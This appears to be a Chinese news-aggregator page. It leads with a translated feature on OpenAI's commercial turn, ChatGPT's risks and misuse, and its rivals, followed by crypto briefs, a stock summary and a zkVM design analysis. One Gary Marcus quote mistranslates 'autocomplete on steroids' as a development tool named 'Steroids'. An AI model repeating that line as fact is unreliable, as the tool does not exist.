据OpenAI的多位现任和前内部人士爆料，随着阿尔特曼掌管公司，公司开始转移业务重心。曾经广泛的研发议题被精简，主要专注于自然语言处理领域。萨茨科尔和阿尔特曼辩称这种转变的目的是在目前似乎最有可能实现通用人工智能的研发领域，最大程度增加投入。但有前员工表示，在公司获得微软的初始投资后，重点开展大语言模型研究的内部压力显著增加，部分原因是这些模型可以迅速投入商业应用。有员工抱怨，OpenAI创立的目的是不受企业影响，但它很快就变成了科技界巨头的工具。一位前员工表示：“公司所关注的重点更多地倾向于我们如何开发产品，而不是努力回答最有趣的问题。”与本文的许多受访者一样，由于保密协议的约束，并且为了避免得罪与OpenAI有关的大人物，这名员工要求匿名。 OpenAI也变得不再像以前那么开放。该公司已经开始以担心其技术可能被滥用为由，收回此前做出的公开所有研究和将代码开源的承诺。但据该公司的前员工表示，商业逻辑也是这些举措背后的原因之一。OpenAI仅通过API提供其先进模型，保护了自己的知识产权和收入流。OpenAI的另外一名前员工表示：“[阿尔特曼]和[布洛克曼]对‘人工智能安全’说过不少空话，但这些言论通常都只是商业考量的遮羞布，对实际的、合理的人工智能安全问题却视而不见。”例如，这位前员工提到OpenAI曾因为担心被滥用而决定限制DALL-E 2的访问权限，但在Midjourney和Stability AI推出竞争产品后，公司快速推翻了这一决定。（OpenAI表示，经过慎重的贝塔测试，其对安全系统充满了信心，之后才允许DALL-E 2的更大范围应用。）据多位前员工爆料，公司在策略和文化上的转变，是导致十多名OpenAI研究人员和其他员工在2021年决定离开公司并成立研究实验室Anthropic的原因之一。其中有多人曾从事人工智能安全研究。 OpenAI表示相比其他人工智能实验室，其会继续公布更多研究成果。公司还为重心向产品转移的做法进行辩护。首席技术官穆拉蒂说道：“你不能只在实验室里开发通用人工智能。”她主张，发布产品是了解人们希望如何使用和滥用技术的唯一途径。她表示，直到发现人们使用GPT-3进行编程，OpenAI才知道GPT-3最受欢迎的应用是编写软件代码。同样，OpenAI最担心的问题是人们利用GPT-3生成虚假的政治信息，但事实证明这只是杞人忧天。她表示，相反，最常见的恶意使用GPT-3的行为是制作垃圾广告邮件。最后，穆拉蒂表示，OpenAI希望通过公开其技术，“最大程度降低真正强大的技术可能对社会产生的冲击。” 她表示，如果不让人们预先了解未来可能出现的情形，先进人工智能所引发的社会混乱可能更严重。萨茨科尔也认为OpenAI与微软的合作创造了一种全新的“预期，即我们需要利用我们的技术开发一种有用的产品”，但他坚持认为OpenAI文化的核心并未改变。他说道，可以使用微软的数据中心，对于OpenAI的发展至关重要。布洛克曼也表示，与微软的合作使OpenAI能够创造收入，同时不必过多关注商业运营，否则公司可能不得不在商业运营方面投入更多精力。他说道：“招聘数千名销售人员，可能会改变这家公司，而与一家已经拥有销售团队的公司成为合作伙伴，实际上是非常好的策略。” 萨茨科尔直截了当地否认了OpenAI不再重视安全性的说法。“我想说的是，事实恰恰相反。”萨茨科尔称，在员工离职并成立Anthropic之前，人工智能安全“被委派给一个团队负责”，但现在它变成了所有团队的责任。“安全性标准不断提高，我们也在开展越来越多安全性方面的工作。” “我们在开展越来越多安全性方面的工作。” ——伊利亚·萨茨科尔，OpenAI首席科学家然而，批评者表示，OpenAI以产品为导向开发先进人工智能的做法是不负责任的，这相当于向人们发放上膛的枪支，理由是这是确定人们是否真的会相互射击的最佳途径。纽约大学（New York University）认知科学专业荣誉退休教授加里·马库斯，对以深度学习为中心的人工智能开发策略持怀疑态度。他认为，生成式人工智能“将对社会结构产生切实的、迫在眉睫的威胁”。他表示，GPT-3和ChatGPT等系统将生成虚假信息的成本降低到接近于零，可能会掀起虚假信息泛滥的狂潮。马库斯表示，我们甚至已经看到了第一批受害者。程序员发布和回答编程问题的网站Stack Overflow已经不得不禁止用户提交ChatGPT生成的回答，因为这种貌似合理实则错误的回答已经令该网站疲于应付。科技资讯网站CNET开始使用ChatGPT生成资讯文章，但后来发现，由于许多文章存在事实性错误，不得不对它们进行更正。对有些人而言，真正的风险是ChatGPT能够编写准确的代码。网络安全公司Check Point的研究副总裁玛雅·霍洛维茨表示，她的团队可以用ChatGPT设计每一个阶段的网络攻击，包括杜撰一封令人信服的钓鱼邮件，编写恶意代码，以及逃避常见的网络安全检查等。她警告称，ChatGPT基本可以让不懂编程的人成为网络罪犯，“我担心未来会发生越来越多网络攻击”。OpenAI的穆拉蒂表示，公司也有同样的担忧，因此正在研究如何“调整”其人工智能模型，使它们不会编写恶意软件，但这绝非易事。有无数批评者和教育工作者痛斥，学生很容易使用ChatGPT作弊。纽约、巴尔的摩和洛杉矶的校区均禁止学校管理的网络访问聊天机器人，澳大利亚的一些高校表示，将转为通过有专人监考的书面考试评估学生。（OpenAI正在开发更便于检测人工智能生成文本的方法，包括可能在ChatGPT生成的文本上添加数字“水印”。） 2022年，ChatGPT最初的开发方式还引发了人们对道德方面的担忧。《时代》（Time）杂志调查发现，在开发过程中，OpenAI聘请了一家数据标记公司，这家公司雇佣肯尼亚的低薪员工识别包含不良语言、色情图片和暴力内容的段落。报道称，一些员工因此出现了精神健康问题。OpenAI在一份声明中对《时代》杂志表示，数据标记工作“是最大程度减少训练数据中的暴力和色情内容以及开发可检测有害内容的工具的必要步骤”。免费提供ChatGPT使OpenAI能够获取大量反馈，从而帮助其完善未来的版本。但OpenAI未来能否维持其在语言人工智能领域的主导地位，仍是个未知数。伦敦人工智能公司Faculty的创始人兼CEO马克·华纳表示：“历史上，对于这种高度通用的算法，我们所看到的是，它们并没有达到足够可靠的程度，能够保证一家公司独占全部回报。”例如，面部识别和图像识别技术最早的开发者是谷歌和英伟达（Nvidia）等科技巨头，但现在它们已经无处不在。法院和监管部门也可能对生成式人工智能所依赖的数据飞轮横插一脚。向加州联邦法院提起的一起金额高达90亿美元的集体诉讼，可能对该领域产生深远影响。该案原告指控微软和OpenAI使用程序员的代码训练GitHub的编程助手Copilot，没有承认程序员的功劳或者对程序员予以补偿，违反了开源许可条款。微软和OpenAI均拒绝就该起诉讼发表意见。人工智能专家表示，如果法院判决原告胜诉，可能会阻碍生成式人工智能的繁荣：大多数生成式人工智能模型都是使用从互联网上搜刮的材料进行训练，并没有取得许可或支付报酬。作为该案原告代理人的律师事务所，最近还提起了一起类似诉讼，指控Stability AI和Midjourney未经许可，在训练数据中使用了有版权保护的美术作品。盖蒂图片社（Getty Images）也对Stability AI提起了版权侵权诉讼。另外一个问题是，立法者可能通过法律，授予创作者禁止将其创作的内容用于人工智能训练的权利，例如欧盟的立法者正在考虑这样做。与此同时，OpenAI的竞争对手并没有坐以待毙。据《纽约时报》（New York Times）报道，失去搜索领域主导地位的可能性，已经促使谷歌高管发布了“红色警报”。报道称，谷歌CEO桑达尔·皮查伊已经多次召开会议，重新制定公司的人工智能策略，计划发布20款支持人工智能的新产品，并将在今年发布搜索聊天界面的演示版本。谷歌拥有一款强大的聊天机器人LaMDA，但由于担心一旦该产品被滥用可能影响公司信誉，因此一直未对外发布。据《时代》杂志引用谷歌的内部报告和匿名知情人士的话称，现在，公司计划以ChatGPT为标杆“重新评估”其风险承受能力。该杂志报道称，谷歌还在开发一款文本转图片的生成系统，与OpenAI的DALL-E等产品竞争。当然，目前尚不确定聊天机器人是否代表了搜索行业的未来。ChatGPT经常会杜撰信息，这种现象被人工智能研究人员称为“幻觉”。它无法可靠地引用其信息来源，或简单地提供链接。现有版本无法访问互联网，因此无法提供最新信息。马库斯等人认为，幻觉和偏见是大语言模型存在的根本问题，需要彻底重新思考它们的设计。他表示：“这些系统可以预测句子中单词的顺序，类似于开发工具Steroids上的代码自动补全。但它们实际上并没有任何机制，能够跟踪其表述的内容的真实性，或者验证这些内容是否符合它们的训练数据。” “这些系统可以预测句子中单词的顺序，类似于开发工具Steroids上的代码自动补全。但它们实际上并没有任何机制，能够跟踪其表述的内容的真实性，或者验证这些内容是否符合它们的训练数据。” ——纽约大学认知科学专业荣誉退休教授加里·马库斯其他人预测，这些问题将在一年内得到解决，其中包括OpenAI的投资人霍夫曼和维诺德·科斯拉。穆拉蒂则更加慎重。她说道：“我们到目前为止一直遵循的研究方向，目的是解决模型的事实准确性和可靠性等问题。我们正在继续朝着这些方向努力。” 事实上，OpenAI已经公布了对另外一个版本GPT的研究。该版本名为WebGPT，可以通过查询搜索引擎和汇总查询到的信息来回答问题，包括对相关来源的注释。WebGPT依旧不完美：它会接受用户问题假设的前提，然后查找确证信息，即使这个前提是错误的。例如，在被问到盼望某件事情发生是否能令其真实发生时，WebGPT的回答是：“你确实可以通过思考的力量，使愿望成真。” 阿尔特曼极少在公开场合热烈讨论人工智能。在谈到人工智能的时候，他可能听上去像是一位幻想思想家。在旧金山举办的风险投资活动上，当被问到人工智能的最佳状况时，他夸张地说道：“我认为最好的情况好到令人难以想象……好到谈论它的人会令人觉得这人是个疯子。”他突然又将话题转回到OpenAI核心的反乌托邦主题：“我认为最糟糕的情况是，我们所有人都死去。”（财富中文网）翻译：刘进龙审校：汪皓来源：金色财经

金色财经2023-02-01

区块链动态2023年2月1日早参考

案，类似于Xbox Gamertag或Apple ID，在登录时不需要密码。这意味着Immutable不持有用户的私钥，也不参与签署交易。玩家能够访问集成到Immutable Passport中的一套工具，包括安全的数字钱包、欺诈保护和跨越Web3游戏和市场的无缝认证。 Immutable表示，这个新工具将帮助Web3游戏工作室 "推动主流受众的采用，保持企业级的安全，并获得有意义的玩家分析"。此外，任何集成了Passport的工作室都可以访问ImmutableX生态系统中的活跃玩家。 10. 2月1日消息，美国人工智能公司OpenAI过去曾经推出大受欢迎的聊天或撰稿机器人产品ChatGPT。今日，该公司宣布，已经推出一款新工具，能够识别一些文字是不是人工智能软件撰写的。此前有调查显示，ChatGPT已被美国大学生广泛用于作业代写。(金十) 11. 2月1日消息，据TheBlock援引Celsius破产案独立审查员ShobaPillay发布的报告，Celsius在2018年的首次代币发行和私人销售中共计售出2.03亿枚CEL，仅从ICO筹集3200万美元，而不是预期的5000万美元。Celsius还花费至少5.58亿美元购买CEL，这是使用一种称为“飞轮”的策略，即在私人场外交易中出售CEL代币并在公开市场上进行抵消购买，以影响其交易价格。此外，Celsius多次突破信贷限额，包括向Tether提供的数十亿美元贷款。截至2021年7月，Celsius三分之一的机构贷款组合是完全无抵押的，超过一半的抵押品不足。 12. 金色财经报道，CNBC节目主持人Jim Cramer称我们正处于牛市并“逢低买入”。来源：金色财经

金色财经2023-02-01

美股收盘：道指涨近400点新能源车股普涨小鹏汽车涨逾6%

上周有报道称，苹果已开始在苹果零售店（Apple Store）以外的零售渠道，解雇一些非季节性员工。一些在百思买（Best Buy）等商店工作的苹果零售渠道员工，已经收到了裁员通知。此外，苹果还裁减了100名合同制招聘人员。但到目前为止，苹果还没有像其他大型科技公司那样大规模裁员。　　亏损也要抢客户，美国电动车价格战升温　　电动车价格战，不仅仅在中国。在“老家”美国，由特斯拉搅动的降价潮已然兴起，甚至还有车企不惜付出亏损的代价。而对于美国车主来说，今年买电动汽车或许将会变得更便宜。不仅大量价格更低的电动汽车将投放市场，新的政府补贴政策也将让更多人买得起价格更高的车型。　　去年营收破千亿美元！辉瑞：2023年新冠产品的收入将大幅下降　　辉瑞公布了2022年第四季度财报。数据显示，该公司第四季度营收为243亿美元，略超市场预期的242.3亿美元，上年同期为238.38亿美元；四季度净利润50亿美元，预期59.6亿美元，上年同期34亿美元。　　第四季度新冠药物Paxlovid营收18.34亿美元，上一季度为75.14亿美元；第四季度新冠疫苗Comirnaty业务收入113.29亿美元，上年同期125.04亿美元。2022年全年，营收为创纪录的1003.3亿美元，同比增长23％；经调整的利润为377.147亿美元，同比增长63％。

金融界2023-02-01

zkVM 生存之道一文详解派系之争

er contract)。从应用 (application) 的角度来看，虚拟机通过将内存模型 (memory) 嵌入到设计中，使应用程序的逻辑更加复杂，而使用电路系统的目的是为了提高程序的性能。从系统复杂性 (complexity) 的角度来看，虚拟机将更多的复杂性纳入系统，如内存模型、主机 (host) 和客户 (guest) 之间的通信等，相比之下电路系统更简洁。以下是目前 L1/L2 中基于电路和基于虚拟机的不同的项目预览: 图片来源: Bryan, IOSG Ventures 虚拟机的设计原则在虚拟机中，有两个关键的设计原则。首先，确保程序被正确执行。换句话说，输出 (output)（即约束条件 constraint）与输入 (input)（即程序 program）应当正确匹配。一般这是通过 ISA 指令集完成的。其次，确保编译器 (compiler) 在从高级语言转换为适当的约束格式时能正确工作。 1. ISA 指令集规定了电路产生器的工作方式。它的主要责任是将指令 (instructions) 正确地映射到约束条件 (constraint) 中，这些约束条件随后被送入证明系统 (proving system)。zk 系统使用的都是 RISC( 精简指令集 )。有两种 ISA 的选择：第一种是自建一个自定义的 ISA(custom ISA)，这在 Cairo 的设计中可以看到。一般来说，有如下四种类型的约束逻辑。自定义 ISA 的基本设计重点是确保约束条件尽可能少，从而使程序的执行和验证都能快速运行。第二种是利用现有的 ISA(existing ISA)，这在 Risc0 的设计中被采用。除了以简洁的执行时间为目标外，现有的 ISA（如 Risc-V）还提供了额外的好处，如对前端语言 (front-end language) 和后端硬件 (backend hardware) 友好。一个（有待解决的可能）问题是，现有的 ISA 会不会在验证时间上有所落后（因为验证时间并不是 Risc-V 的主要设计追求。 2. 编译器 (Compiler) 笼统地来说，编译器会逐步将编程语言翻译成机器代码。在 ZK 的环境下，它指的是使用 C、C++、Rust 等高级语言编译成约束系统（R1CS、QAP、AIR 等.）的低级代码表示。有两种方法，设计一个基于现有 zk 电路表示 (existing circuit representations) 的编译器 -- 比如说在 ZK 中，电路表现形式从 Bellman 这样的可以直接调用的库 (library) 和 Circom 这样的低级语言开始。为了聚合不同的表现形式，Zokrates 这样的编译器（身也是一个 DSL）旨在提供一个抽象层，可以编译成任意的更低级表现形式。基于（现有的）编译器基础设施 (compiler infrastructure) 来构建。基本逻辑是利用一个针对多个前端和后端的中间表现形式 (intermediate representation)。 Risc0 的编译器是基于 multi-level intermediate representation（MLIR），可以生成多个 IR（类似于 LLVM）。不同的 IR 给开发者带来了灵活性，因为不同的 IR 有各自的设计重点，例如其中有一些的优化是专门针对硬件，所以开发者可以根据自己的意愿进行选择。类似的想法在使用 GCC 的 vnTinyRAM 和 TinyRAM 中也可以看到。ZkSync 也是另一个利用编译器基础设施的例子。此外，你还可以看到一些针对 zk 的编译器基础设施，如 CirC，它也借用了 LLVM 的一些设计理念。除了上述两个最关键的设计步骤外，还有一些其他的考虑因素： 1.系统的安全性 (security) 和验证的成本 (verifier cost) 之间的权衡系统使用的比特数越高（即安全性越高），意味着验证的成本越高。安全性反映在密钥生成器（比如在 SNARK 中代表椭圆曲线）。 2.与前端和后端的兼容性 (compatibility) 兼容性取决于为电路的中间表示 (intermediate representation) 的有效性。IR 需要在正确性（程序的输出是否与输入相匹配 + 输出是否符合证明系统）和灵活性（支持多种前端和后端）之间取得了平衡。如果 IR 最初是为解决像 R1CS 这样的低度 (low-degree) 约束系统而设计的，那么与其他更高级别 (high-degree) 的约束系统如 AIR 的兼容就很难。 3.为提高效率需要手工制作 (hand-crafted) 电路使用通用模型 (general purpose) 的缺点是，对于一些不需要复杂指令的简单操作，其效率较低。简述一下先前的一些理论， Pinocchio 协议之前: 实现了可验证的计算，但验证时间非常慢 Pinocchio 协议: 在可验证性和验证成功率方面提供了理论上的可行性（即验证的时间比执行程序的时间短），是基于电路的系统 TinyRAM 协议: 相对于 Pinocchio 协议，TinyRAM 更像一个虚拟机，引入了 ISA，因此摆脱了一些限制，如内存访问 (RAM)、控制流 (conttrol flow) 等 vnTinyRAM 协议: 使得密钥生成 (key generation) 并不取决每个程序，提供了额外的通用性。扩展电路产生器，即能够处理更大的程序。上述模型都以 SNARK 作为其后端证明系统，但是特别是在处理虚拟机时，STARK 和 Plonk 似乎是一个更合适的后端，从根本上说是由于其约束系统更适合于实现 cpu 一样的逻辑。接下来，本文会介绍三个基于 STARK 的虚拟机 - Risc0, MidenVM, CairoVM。简而言之，除了都以 STARK 作为证明系统外，它们各自有一些不同: Risc0 利用 Risc-V 来实现指令集的简洁性。R0 在 MLIR 进行编译，这是 LLVM-IR 的一个变种，旨在支持多种现有的通用编程语言，如 Rust、C++。Risc-V 还有一些额外的好处，比如对于硬件较为友好。 Miden 的目标是与以太坊虚拟机（EVM）兼容，本质上是 EVM 的 rollup。Miden 现在有自己的编程语言，但也致力于在未来支持 Move。 Cairo VM 是由 Starkware 开发的。这三个系统所使用的 STARK 证明系统是由 Eli Ben-Sasson 发明的，目前 Starkware 的总裁。让我们更深入地了解它们的区别： * 如何读懂上面的表格？一些注解... Word size（字长） - 由于这些虚拟机所基于的约束系统是 AIR，其功能与 CPU 架构类似。所以选择 CPU 字长（32/64 位）比较合适。 Memory access（内存读取）- Risc0 使用寄存器 (register) 的原因主要是 Risc-V 指令集是基于寄存器的。Miden 主要使用堆栈 (stack) 来存储数据，因为 AIR 的功能与堆栈类似。CairoVM 没有使用通用寄存器 (general-purpose register)，因为 Cairo 模型中的内存访问 (main memory) 成本较低。 Program feed（程序执行）- 不同方法是有取舍的。例如，对于 mast root 方法来说，它需要在处理指令时进行解码，因此在执行步骤较多的程序中下证明者的成本较高。Bootloading 方法试图在保持隐私的同时在证明者成本和验证者的成本之间取得平衡。 Non-determinism（非确定性）- 非确定性是 NP-complete 问题的一个重要属性。利用非确定性有助于快速验证过去的执行。反过来说，它增加了更多的约束条件，因此在验证方面会有一些妥协。 Acceleration on complex operations（复杂运算的加速）- 有些计算在 CPU 上运行很慢。例如，位操作，如 XOR 和 AND，哈希程序 (hash program)，如 ECDSA，还有范围检查 (range-check)......大多是区块链 / 加密技术的原生但不是 CPU 原生的运算（除了位操作）。直接通过 DSL 来实现这些运算会很容易导致证明的周期 (cycle) 耗尽。 Permutation/multiset ( 排列 / 多列组合 ) - 在大多数 zkVM 中大量使用，有两个目的 --1.通过减少存储完整的执行轨迹 (execution trace) 来降低验证者的成本 2.证明验证者知道完整的执行轨迹文章最后笔者想谈谈 Risc0 目前的发展以及其让我兴奋的原因。 R0 目前的发展: a.自研的「Zirgen」的编译器基础设施正在开发中。将 Zirgen 与一些现有的 zk 专用编译器的性能进行比较会很有趣。 b.一些很有意思的的创新，如 field extension，可以实现更坚实的安全参数以及在更大的整数上进行操作。 c.见证了在 ZK 硬件和 ZK 软件公司之间的整合中看到的挑战，Risc0 使用了一个硬件抽象层，以便在硬件方面进行更好的开发。 d.Still a work-in-progress! 还在开发中！支持手工制作的电路 (hand-crafted circuits)，支持多种哈希算法。目前，专用的 SHA256 电路已实现，然而还不能满足所有的需求。笔者相信具体选择优化哪类电路取决于 Risc0 所提供的用例 (use case)。SHA256 是一个非常好的起点。另一方面，ZKVM 的定位给人以灵活性，例如，只要他们不想，就不必去管 Keccak :) 递归 (recursion)：这是一个很大的话题，笔者倾向于不在该报告进行深入研究。需要知道的是，随着 Risc0 倾向于支持更复杂的用例 / 程序，更迫切地需要递归。为了进一步支持递归，他们目前正在研究一个硬件端的 GPU 加速方案。处理非确定性 (non-determinism)：这是 ZKVM 必须处理的一个属性，而传统的虚拟机是没有这个问题的。非确定性可以帮助虚拟机执行得更快。MLIR 相对更擅长处理传统虚拟机方面的问题，而 Risc0 如何将非确定性嵌入到 ZKVM 系统设计中值得期待。 WHAT EXCITES ME: a.简单且可验证！在分布式系统中，PoW 需要高水平的冗余，因为人们不信任他人，因此需要重复执行相同的计算来达成共识。而通过利用零知识证明，状态的实现应该和同意 1+1=2 一样容易。 b.更多更实际的用例：除了最直接的扩容外，更多有意思的用例将变得可行，比如零知识机器学习、数据分析等。相比于 Cairo 这样的特定的 ZK 语言，Rust/C++ 的功能更普适且更强大，更多 web2 的用例跑在 Risc0 VM 上。 c.更具包容性 / 成熟的开发者社区: 对 STARK 和区块链感兴趣的开发者不必再重新学习 DSL，使用 Rust/C++ 即可。感谢 Xin Gao、p0xeidon 的 Boyuan、Taiko 的 Daniel 以及 Sin7Y 对本文的支持和修改建议！来源：金色财经

金色财经2023-01-31

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